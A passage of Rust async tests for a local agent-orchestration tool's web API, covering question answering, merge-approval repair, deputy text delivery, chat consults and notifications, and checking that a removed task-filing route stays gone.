12669                State(ui.clone()),
12670                Path(q.id.clone()),
12671                Ok(Json(NewAnswer {
12672                    choice: Some(choice.into()),
12673                    text: None,
12674                    ..Default::default()
12675                })),
12676            )
12677            .await
12678            .unwrap();
12679            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12680            let disk = fx.questions().get(&q.id).unwrap();
12681            assert_eq!(disk.merge_target, q.merge_target);
12682            assert_eq!(disk.consult, q.consult);
12683            assert_eq!(disk.resolution().as_deref(), Some(choice));
12684            assert!(
12685                question_answer(
12686                    State(ui),
12687                    Path(q.id.clone()),
12688                    Ok(Json(NewAnswer {
12689                        choice: Some("merge".into()),
12690                        text: None,
12691                        ..Default::default()
12692                    }))
12693                )
12694                .await
12695                .is_err(),
12696                "an already settled decision cannot turn into merge approval"
12697            );
12698        }
12699    }
12700
12701    #[tokio::test]
12702    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12703        let fx = Fixture {
12704            home: TempDir::new().unwrap(),
12705            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12706        };
12707        let mut state = crate::land::tests::repair_state(true, true);
12708        state.status = RunStatus::Landing;
12709        state.parked = true;
12710        state.driver_exited = true;
12711        let mut task = Task::new(
12712            "Existing PR owner".into(),
12713            state.instruction.clone(),
12714            state.repo.clone(),
12715            Source::Human,
12716        );
12717        task.runs.push(state.id.clone());
12718        task.status = TaskStatus::Parked;
12719        fx.queue().put(&mut task).unwrap();
12720        let mut q = Question::new(
12721            state.id.clone(),
12722            crate::land::APPROVAL_NODE.into(),
12723            "land".into(),
12724            "Contested merge".into(),
12725            "Original evidence".into(),
12726            vec!["merge".into(), "hold".into()],
12727        );
12728        state.land_approval = Some(crate::run::LandApproval {
12729            question: q.id.clone(),
12730            head: "reviewed-head".into(),
12731        });
12732        state.save_under(fx.home.path()).unwrap();
12733        fx.questions().put(&mut q).unwrap();
12734        // A later repair answer on this old card supersedes this manual hold.
12735        task.hold_manual(Some("Pause this PR".into()));
12736        fx.queue().put(&mut task).unwrap();
12737        // POST directly, without a preceding GET: validation must see the
12738        // same durable upgrade that the card, CLI and chat see.
12739        let ui = Arc::new(Ui::new(
12740            fx.queue(),
12741            fx.questions(),
12742            fx.talks(),
12743            fx.runs(),
12744            fx.home.path().to_path_buf(),
12745            state.repo.clone(),
12746        ));
12747        let response = question_answer(
12748            State(ui),
12749            Path(q.id.clone()),
12750            Ok(Json(NewAnswer {
12751                choice: Some(crate::land::REPAIR.into()),
12752                text: None,
12753                ..Default::default()
12754            })),
12755        )
12756        .await
12757        .unwrap();
12758        assert_eq!(response.0.question.id, q.id);
12759        let upgraded = fx.questions().get(&q.id).unwrap();
12760        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12761        assert!(upgraded.detail.starts_with("Original evidence"));
12762        let claim = fx.queue().claim(&task.id).unwrap();
12763        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12764        assert!(
12765            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12766            "an existing driver keeps its claim"
12767        );
12768        drop(claim);
12769        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12770        let resumed = fx.queue().get(&task.id).unwrap();
12771        assert_eq!(
12772            resumed
12773                .resume_override
12774                .as_ref()
12775                .unwrap()
12776                .pinned_run
12777                .as_deref(),
12778            Some(state.id.as_str())
12779        );
12780        assert!(resumed.status.runnable());
12781        assert_eq!(resumed.instruction, task.instruction);
12782        assert_eq!(resumed.runs, task.runs);
12783        assert!(resumed.action_applied(&q.id));
12784        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12785        assert_eq!(fx.queue().list().len(), 1);
12786        assert_eq!(
12787            fx.queue().get(&task.id).unwrap().resume_override,
12788            resumed.resume_override
12789        );
12790        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12791        assert!(
12792            disk.merge_repairs.is_empty(),
12793            "only the claimed run driver may execute repair"
12794        );
12795        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12796    }
12797
12798    #[tokio::test]
12799    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12800        let fx = Fixture::start().await;
12801        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12802        let path = format!("/api/questions/{id}/answer");
12803
12804        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12805        assert_eq!(res.status, 200, "{}", res.body);
12806        let body = res.json();
12807        assert_eq!(body["status"], "answered");
12808        assert_eq!(body["answer"]["choice"], "Redis");
12809
12810        // Answered from the terminal in between the list and the tap: the UI
12811        // must be able to tell this from a bad request, so it can show the
12812        // recorded answer instead of an error.
12813        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12814        assert_eq!(again.status, 409, "{}", again.body);
12815        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12816    }
12817
12818    #[tokio::test]
12819    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12820        let home = tempfile::tempdir().unwrap();
12821        let ui = delta_test_ui(home.path());
12822        let mut q = Question::new(
12823            "task".into(),
12824            crate::land::APPROVAL_NODE.into(),
12825            "land".into(),
12826            "Explain?".into(),
12827            String::new(),
12828            vec!["hold".into()],
12829        );
12830        q.deputy = Some(ask::Deputy::new("context".into()));
12831        ui.questions.put(&mut q).unwrap();
12832        let mut cfg = stub_config();
12833        cfg.daemon.max_deputies = 0;
12834        let mut status = crate::daemon::Status::new();
12835        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12836        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12837        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12838        let error = question_say(
12839            State(ui.clone()),
12840            Path(q.id.clone()),
12841            Ok(Json(NewSay {
12842                body: "Explain the findings".into(),
12843            })),
12844        )
12845        .await
12846        .unwrap_err();
12847        assert_eq!(
12848            error.text_reason,
12849            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12850        );
12851        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12852
12853        let mut text = Question::new(
12854            "task".into(),
12855            "ask".into(),
12856            "operator".into(),
12857            "Which name?".into(),
12858            String::new(),
12859            vec![],
12860        );
12861        ui.questions.put(&mut text).unwrap();
12862        let Json(view) = question_answer(
12863            State(ui.clone()),
12864            Path(text.id.clone()),
12865            Ok(Json(NewAnswer {
12866                choice: None,
12867                text: Some("chosen name".into()),
12868                ..Default::default()
12869            })),
12870        )
12871        .await
12872        .unwrap();
12873        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12874        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12875    }
12876
12877    #[tokio::test]
12878    async fn question_text_handler_admission_without_transport() {
12879        let home = tempfile::tempdir().unwrap();
12880        let ui = delta_test_ui(home.path());
12881        let mut q = Question::new(
12882            "task".into(),
12883            crate::land::APPROVAL_NODE.into(),
12884            "land".into(),
12885            "May this PR merge?".into(),
12886            String::new(),
12887            vec!["hold".into()],
12888        );
12889        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12890        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12891        ui.questions.put(&mut q).unwrap();
12892        let say = || {
12893            Ok(Json(NewSay {
12894                body: "Explain the findings".into(),
12895            }))
12896        };
12897        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12898            .await
12899            .unwrap_err();
12900        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12901        let response = rejected.into_response();
12902        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12903            .await
12904            .unwrap();
12905        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12906        assert_eq!(body["code"], "question_text_unavailable");
12907        assert_eq!(body["reason"], "deputy_exhausted");
12908        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12909        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12910        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12911        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12912            .await
12913            .unwrap();
12914        assert_eq!(view.text_delivery.state, "live");
12915        assert!(view.question.waiter.is_none());
12916        assert!(view.question.cwd.is_none());
12917        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12918        ui.questions.drop_lease(&q.id);
12919        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12920            .await
12921            .unwrap_err();
12922        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12923        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12924        let _ = question_answer(
12925            State(ui.clone()),
12926            Path(q.id.clone()),
12927            Ok(Json(NewAnswer {
12928                choice: Some("hold".into()),
12929                text: None,
12930                ..Default::default()
12931            })),
12932        )
12933        .await
12934        .unwrap();
12935        assert_eq!(
12936            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12937            Some("hold")
12938        );
12939    }
12940
12941    #[tokio::test]
12942    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12943        let fx = Fixture::start().await;
12944        let store = fx.questions();
12945        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12946        store
12947            .update(&id, |q| {
12948                q.node = crate::land::APPROVAL_NODE.to_owned();
12949                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12950                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12951                Ok(())
12952            })
12953            .unwrap();
12954        let path = format!("/api/questions/{id}/say");
12955        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12956        assert_eq!(refused.status, 422, "{}", refused.body);
12957        assert!(
12958            refused.json()["error"]
12959                .as_str()
12960                .unwrap()
12961                .contains("deputy_exhausted")
12962        );
12963        assert!(store.get(&id).unwrap().thread.is_empty());
12964
12965        // A final live deputy is usable even with no ordinary waiter/cwd.
12966        store.beat(&id, ask::WaiterKind::Deputy);
12967        let view = fx.get("/api/questions").await.json();
12968        assert_eq!(view[0]["text_delivery"]["state"], "live");
12969        let accepted = fx
12970            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12971            .await;
12972        assert_eq!(accepted.status, 200, "{}", accepted.body);
12973        let before = std::fs::read(store.path_of(&id)).unwrap();
12974
12975        // The recipient exits between rendering and sending. Rejection must
12976        // preserve previously accepted text, the answer and delivery cursor.
12977        store.drop_lease(&id);
12978        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12979        assert_eq!(refused.status, 422, "{}", refused.body);
12980        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12981        let held = fx
12982            .post(
12983                &format!("/api/questions/{id}/answer"),
12984                Some(r#"{"choice":"hold"}"#),
12985            )
12986            .await;
12987        assert_eq!(held.status, 200, "{}", held.body);
12988        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12989    }
12990
12991    #[tokio::test]
12992    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12993        let repo = tempfile::tempdir().unwrap();
12994        let mut cfg = stub_config();
12995        cfg.daemon.max_deputies = 0;
12996        std::fs::write(
12997            repo.path().join("magi.toml"),
12998            toml::to_string(&cfg).unwrap(),
12999        )
13000        .unwrap();
13001        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13002        let mut status = crate::daemon::Status::new();
13003        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13004        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13005        let id = ask(&fx, "Explain?", &["hold"]);
13006        fx.questions()
13007            .update(&id, |q| {
13008                q.node = crate::land::APPROVAL_NODE.into();
13009                q.deputy = Some(ask::Deputy::new("context".into()));
13010                q.deputy.as_mut().unwrap().agent = "stub".into();
13011                Ok(())
13012            })
13013            .unwrap();
13014        cfg.daemon.max_deputies = 1;
13015        std::fs::write(
13016            repo.path().join("magi.toml"),
13017            toml::to_string(&cfg).unwrap(),
13018        )
13019        .unwrap();
13020        let view = fx.get("/api/questions").await.json();
13021        assert_eq!(view[0]["deputies_enabled"], true);
13022        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13023        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13024        let res = fx
13025            .post(
13026                &format!("/api/questions/{id}/say"),
13027                Some(r#"{"body":"Please explain"}"#),
13028            )
13029            .await;
13030        assert_eq!(res.status, 422, "{}", res.body);
13031        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13032    }
13033
13034    #[tokio::test]
13035    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13036        let fx = Fixture::start().await;
13037        let id = ask(&fx, "No seat", &[]);
13038        let store = fx.questions();
13039        let before = std::fs::read(store.path_of(&id)).unwrap();
13040        let res = fx
13041            .post(
13042                &format!("/api/questions/{id}/say"),
13043                Some(r#"{"body":"hello"}"#),
13044            )
13045            .await;
13046        assert_eq!(res.status, 422, "{}", res.body);
13047        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13048        let res = fx
13049            .post(
13050                &format!("/api/questions/{id}/answer"),
13051                Some(r#"{"text":"hello"}"#),
13052            )
13053            .await;
13054        assert_eq!(res.status, 200, "{}", res.body);
13055        assert_eq!(
13056            store.get(&id).unwrap().resolution().as_deref(),
13057            Some("hello")
13058        );
13059    }
13060
13061    #[tokio::test]
13062    async fn saying_something_appends_a_turn_without_answering() {
13063        let fx = Fixture::start().await;
13064        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13065        fx.questions().beat(&id, ask::WaiterKind::Asker);
13066        let path = format!("/api/questions/{id}/say");
13067
13068        let res = fx
13069            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13070            .await;
13071        assert_eq!(res.status, 200, "{}", res.body);
13072        let body = res.json();
13073        assert_eq!(body["status"], "open", "talking back is not a decision");
13074        assert_eq!(body["answer"], Value::Null);
13075        assert_eq!(body["thread"][0]["who"], "operator");
13076        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13077        assert_eq!(body["waiting_on_agent"], true);
13078        // Still open, still counted, still exactly one question.
13079        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13080    }
13081
13082    #[tokio::test]
13083    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13084        let fx = Fixture::start().await;
13085        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13086
13087        let list = fx.get("/api/questions").await.json();
13088        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13089
13090        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13091        assert_eq!(res.status, 409, "{}", res.body);
13092        let q = fx.questions().get(&id).unwrap();
13093        assert!(q.status.open());
13094        assert!(q.consult.is_none());
13095    }
13096
13097    #[tokio::test]
13098    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13099        let fx = Fixture::start().await;
13100        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13101        let cfg = Config {
13102            agents: vec![crate::config::AgentSpec {
13103                id: "mock".to_owned(),
13104                kind: crate::config::AgentKind::Command,
13105                model: None,
13106                command: vec!["true".to_owned()],
13107                extra_args: Vec::new(),
13108                env: Default::default(),
13109                prompt_delivery: None,
13110                max_turn_secs: None,
13111            }],
13112            ..Config::default()
13113        };
13114        let talk = crate::talk::begin(
13115            &fx.talks(),
13116            &cfg,
13117            fx.home.path().to_path_buf(),
13118            Some("mock"),
13119        )
13120        .unwrap();
13121        let mut task = Task::new(
13122            "t".to_owned(),
13123            "Do it".to_owned(),
13124            PathBuf::from("/repo/magi"),
13125            Source::Agent {
13126                run: talk.id.clone(),
13127                node: crate::queue::CHAT_NODE.to_owned(),
13128            },
13129        );
13130        task.start("20260902-000000-beef".to_owned());
13131        fx.queue().put(&mut task).unwrap();
13132
13133        let list = fx.get("/api/questions").await.json();
13134        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13135        assert_eq!(
13136            list[0]["choices"],
13137            serde_json::json!(["SQLite", "Redis"]),
13138            "the hand-over is never a choice"
13139        );
13140        fx.questions()
13141            .update(&id, |q| {
13142                q.node = crate::land::APPROVAL_NODE.into();
13143                q.choices = vec!["merge".into(), "hold".into()];
13144                Ok(())
13145            })
13146            .unwrap();
13147        let list = fx.get("/api/questions").await.json();
13148        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13149        assert_eq!(list[0]["can_consult_chat"], true);
13150        fx.questions()
13151            .update(&id, |q| {
13152                q.node = crate::bump::NOTICE_NODE.into();
13153                Ok(())
13154            })
13155            .unwrap();
13156        let list = fx.get("/api/questions").await.json();
13157        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13158        assert_eq!(list[0]["can_consult_chat"], false);
13159    }
13160
13161    #[tokio::test]
13162    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13163        let fx = Fixture::start().await;
13164        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13165        fx.questions()
13166            .update(&id, |q| {
13167                q.node = crate::land::APPROVAL_NODE.into();
13168                q.choices = vec!["merge".into(), "hold".into()];
13169                Ok(())
13170            })
13171            .unwrap();
13172        let cfg = Config {
13173            agents: vec![crate::config::AgentSpec {
13174                id: "mock".to_owned(),
13175                kind: crate::config::AgentKind::Command,
13176                model: None,
13177                command: vec!["true".to_owned()],
13178                extra_args: Vec::new(),
13179                env: Default::default(),
13180                prompt_delivery: None,
13181                max_turn_secs: None,
13182            }],
13183            ..Config::default()
13184        };
13185        // Not a git working tree, so its `magi.toml` is read from disk.
13186        let repo = fx.home.path().join("chat-repo");
13187        std::fs::create_dir_all(&repo).unwrap();
13188        let toml = repo.join("magi.toml");
13189        std::fs::write(&toml, "this is = = not toml").unwrap();
13190        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13191        let mut task = Task::new(
13192            "t".to_owned(),
13193            "Do it".to_owned(),
13194            PathBuf::from("/repo/magi"),
13195            Source::Agent {
13196                run: talk.id.clone(),
13197                node: crate::queue::CHAT_NODE.to_owned(),
13198            },
13199        );
13200        task.start("20260902-000000-beef".to_owned());
13201        fx.queue().put(&mut task).unwrap();
13202
13203        let path = format!("/api/questions/{id}/consult");
13204        let res = fx.post(&path, None).await;
13205        assert!(res.status >= 400, "{}", res.body);
13206        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13207        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13208
13209        std::fs::write(&toml, "").unwrap();
13210        let res = fx.post(&path, None).await;
13211        assert_eq!(res.status, 202, "{}", res.body);
13212        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13213        let q = fx.questions().get(&id).unwrap();
13214        assert!(q.status.open());
13215        assert!(q.answer.is_none());
13216        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13217        assert_eq!(res.json()["can_consult_chat"], true);
13218        let list = fx.get("/api/questions").await.json();
13219        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13220        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13221
13222        let res = fx
13223            .post(
13224                &format!("/api/questions/{id}/answer"),
13225                Some(r#"{"choice":"hold"}"#),
13226            )
13227            .await;
13228        assert_eq!(res.status, 200, "{}", res.body);
13229        assert_eq!(res.json()["answer"]["choice"], "hold");
13230        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13231        assert_eq!(res.json()["can_consult_chat"], false);
13232        assert_eq!(fx.post(&path, None).await.status, 409);
13233
13234        let mut talk = fx.talks().get(&talk.id).unwrap();
13235        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13236        let list = fx.get("/api/questions").await.json();
13237        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13238        assert_eq!(list[0]["origin_chat_closed"], true);
13239        assert_eq!(list[0]["can_consult_chat"], false);
13240
13241        fx.talks().remove(&talk.id).unwrap();
13242        let list = fx.get("/api/questions").await.json();
13243        assert_eq!(list[0]["origin_chat"], Value::Null);
13244        assert_eq!(list[0]["origin_chat_closed"], false);
13245        assert_eq!(list[0]["can_consult_chat"], false);
13246    }
13247
13248    #[tokio::test]
13249    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13250        let fx = Fixture::start().await;
13251        let store = fx.questions();
13252        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13253        store.beat(&id, ask::WaiterKind::Asker);
13254        assert_eq!(
13255            fx.get("/api/health").await.json()["questions_needs_owner"],
13256            1
13257        );
13258
13259        // The owner asks back instead of deciding: the ask bar, the nav badge
13260        // and the title must stop naming this question, because there is
13261        // nothing to decide until the agent answers - `status` alone cannot
13262        // say that, which is the whole reason `questions_needs_owner` exists
13263        // alongside `questions_open`.
13264        let res = fx
13265            .post(
13266                &format!("/api/questions/{id}/say"),
13267                Some(r#"{"body":"why not Postgres?"}"#),
13268            )
13269            .await;
13270        assert_eq!(res.status, 200, "{}", res.body);
13271        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13272        assert_eq!(
13273            fx.get("/api/health").await.json()["questions_needs_owner"],
13274            0,
13275            "waiting on the agent is not waiting on the owner"
13276        );
13277
13278        // `magi ask --thread` replying is what brings the owner count back -
13279        // the same event that would resume the CLI call blocked in `magi
13280        // ask`.
13281        let mut q = store.get(&id).expect("get");
13282        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13283            .expect("reply");
13284        store.put(&mut q).expect("put");
13285        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13286        assert_eq!(
13287            fx.get("/api/health").await.json()["questions_needs_owner"],
13288            1,
13289            "the agent's reply is what should light the banner back up"
13290        );
13291    }
13292
13293    #[tokio::test]
13294    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13295        let fx = Fixture::start().await;
13296        let store = fx.questions();
13297
13298        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13299        let res = fx
13300            .post(
13301                &format!("/api/questions/{empty_id}/say"),
13302                Some(r#"{"body":"   "}"#),
13303            )
13304            .await;
13305        assert_eq!(res.status, 400, "{}", res.body);
13306
13307        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13308        let mut answered = store.get(&answered_id).expect("get");
13309        answered
13310            .answer(Answer::Choice("SQLite".to_owned()))
13311            .expect("answer");
13312        store.put(&mut answered).expect("put");
13313        let res = fx
13314            .post(
13315                &format!("/api/questions/{answered_id}/say"),
13316                Some(r#"{"body":"still there?"}"#),
13317            )
13318            .await;
13319        assert_eq!(res.status, 409, "{}", res.body);
13320
13321        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13322        let mut abandoned = store.get(&abandoned_id).expect("get");
13323        abandoned.abandon("timed out");
13324        store.put(&mut abandoned).expect("put");
13325        let res = fx
13326            .post(
13327                &format!("/api/questions/{abandoned_id}/say"),
13328                Some(r#"{"body":"still there?"}"#),
13329            )
13330            .await;
13331        assert_eq!(res.status, 409, "{}", res.body);
13332    }
13333
13334    #[tokio::test]
13335    async fn an_answer_the_question_does_not_offer_is_refused() {
13336        let fx = Fixture::start().await;
13337        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13338        let path = format!("/api/questions/{id}/answer");
13339
13340        for body in [
13341            r#"{"choice":"Postgres"}"#,
13342            r#"{"text":"whatever you think"}"#,
13343            r#"{"choice":"Redis","text":"both"}"#,
13344            r#"{}"#,
13345        ] {
13346            let res = fx.post(&path, Some(body)).await;
13347            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13348            assert!(res.json()["error"].is_string(), "{}", res.body);
13349        }
13350        // Nothing above may have answered it.
13351        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13352    }
13353
13354    #[tokio::test]
13355    async fn a_free_text_question_takes_text_and_not_a_choice() {
13356        let fx = Fixture::start().await;
13357        let id = ask(&fx, "What should the flag be called?", &[]);
13358        fx.questions().beat(&id, ask::WaiterKind::Asker);
13359        let path = format!("/api/questions/{id}/answer");
13360
13361        assert_eq!(
13362            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13363            400
13364        );
13365        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13366        assert_eq!(res.status, 200, "{}", res.body);
13367        assert_eq!(res.json()["answer"]["text"], "--json");
13368    }
13369
13370    #[tokio::test]
13371    async fn an_unknown_question_is_a_json_404() {
13372        let fx = Fixture::start().await;
13373        let res = fx
13374            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13375            .await;
13376        assert_eq!(res.status, 404, "{}", res.body);
13377        assert!(res.json()["error"].is_string());
13378    }
13379
13380    #[tokio::test]
13381    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13382        let fx = Fixture::start().await;
13383        let questions = Questions::at(fx.home.path().join("questions"));
13384        let store = Notices::at(fx.home.path().join("notifications"));
13385        let mut q = ask::Question::new(
13386            "t1".into(),
13387            "conduct".into(),
13388            "conductor".into(),
13389            "Continue?".into(),
13390            String::new(),
13391            Vec::new(),
13392        );
13393        questions.put(&mut q).unwrap();
13394        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13395        n.covered_by = Some(q.id.clone());
13396        let n = store.raise(n).unwrap();
13397        let listed = fx.get("/api/notifications").await.json();
13398        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13399        questions
13400            .update(&q.id, |q| {
13401                q.abandon("run gone");
13402                Ok(())
13403            })
13404            .unwrap();
13405        let listed = fx.get("/api/notifications").await.json();
13406        assert!(listed["items"][0]["answerable_question"].is_null());
13407        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13408        assert!(
13409            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13410                .unwrap()
13411                .contains("answerable_question")
13412        );
13413    }
13414
13415    #[tokio::test]
13416    async fn notifications_list_read_dismiss_and_health_agree() {
13417        let fx = Fixture::start().await;
13418        let store = Notices::at(fx.home.path().join("notifications"));
13419        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13420        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13421
13422        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13423        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13424
13425        store
13426            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13427            .unwrap();
13428        let health = fx.get("/api/health").await.json();
13429        assert_eq!(health["notifications_unread"], 2);
13430        assert_ne!(
13431            health["notifications_rev"], rev0,
13432            "the badge must move live"
13433        );
13434
13435        let listed = fx.get("/api/notifications").await.json();
13436        assert_eq!(listed["unread"], 2);
13437        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13438        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13439
13440        let read = fx
13441            .post(&format!("/api/notifications/{}/read", a.id), None)
13442            .await;
13443        assert_eq!(read.status, 200, "{}", read.body);
13444        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13445
13446        let gone = fx
13447            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13448            .await;
13449        assert_eq!(gone.status, 200, "{}", gone.body);
13450        let listed = fx.get("/api/notifications").await.json();
13451        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13452        assert_eq!(listed["unread"], 0);
13453
13454        store.raise(Notice::info("x", "again")).unwrap();
13455        let all = fx.post("/api/notifications/read-all", None).await;
13456        assert_eq!(all.status, 200, "{}", all.body);
13457        assert_eq!(all.json()["marked"], 1);
13458        assert_eq!(
13459            fx.get("/api/health").await.json()["notifications_unread"],
13460            0
13461        );
13462
13463        let missing = fx.post("/api/notifications/nope/read", None).await;
13464        assert_eq!(missing.status, 404, "{}", missing.body);
13465        assert!(missing.json()["error"].is_string());
13466    }
13467
13468    /// New work reaches the queue through `magi task add`, a standing talk's
13469    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13470    /// so the compose form and that route are gone. The tests that covered
13471    /// that route's validation went with it, and nothing was left asserting
13472    /// it stays gone — so a re-added handler would silently let the phone
13473    /// file briefs no one validated.
13474    #[tokio::test]
13475    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13476        let f = Fixture::start().await;
13477
13478        let res = f
13479            .post(
13480                "/api/queue",
13481                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13482            )
13483            .await;
13484
13485        assert_eq!(
13486            res.status, 405,
13487            "POST /api/queue must not be a route: {}",
13488            res.body
13489        );
13490        assert!(
13491            f.queue().list().is_empty(),
13492            "a task filed by a route that does not exist must not reach the disk"
13493        );
13494        // The path itself is still served — the Queue view reads it — and the
13495        // per-task controls are untouched by the entry being removed.
13496        assert_eq!(f.get("/api/queue").await.status, 200);
13497    }
13498
13499    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13500    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13501        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13502            .expect("checkout dir");
13503    }
13504
13505    /// Two command agents, so a config needs no real CLI.
13506    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13507
13508    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13509        let tmp = TempDir::new().expect("tempdir");
13510        let repo = tmp.path().join("repo");
13511        std::fs::create_dir_all(&repo).expect("repo dir");
13512        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13513        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13514        if let Some(text) = machine_toml {
